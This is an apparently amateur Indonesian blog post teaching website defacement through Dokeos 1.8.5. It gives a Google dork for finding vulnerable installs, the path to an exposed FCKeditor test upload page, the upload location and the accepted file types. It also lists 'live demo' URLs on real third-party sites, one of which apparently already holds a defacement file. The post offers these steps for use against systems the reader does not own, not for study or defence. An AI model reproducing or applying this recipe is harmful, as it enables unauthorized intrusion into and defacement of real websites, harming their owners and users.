Portail Dokeos 1.8.5

Assalamualaikum hhehe
Apa kabar nya nih ? pastinya baik.

Pada kali ini, kita akan membahas seputar exploit, defacement.

Untuk mempersingkat waktu ? yuk mari kita bahas .



Dalam cara ini, kita hanya memerlukan sedikit persiapan.

Hanya membutuhkan iman yang besar .



Dork for google:

"Portail Dokeos 1.8.5"



Exploit:

http://[localhost]/patch/main/inc/lib/fckeditor/editor/filemanager/upload/test.html



Preview:

http://[localhost]/patch/main/upload/[yourfiles]




Allowed File:

html, txt, phps, etc.
nih contoh hasil nya , http://www.blowupwebshow.com/staff/main/upload/Root.html


Live Demo:

http://www.dijon.iufm.fr/dokeos/main/inc/lib/fckeditor/editor/filemanager/upload/test.html

http://www.rottapro.net/main/inc/lib/fckeditor/editor/filemanager/upload/test.html

http://www.blowupwebshow.com/staff/main/inc/lib/fckeditor/editor/filemanager/upload/test.html




http://www.i-ct.net/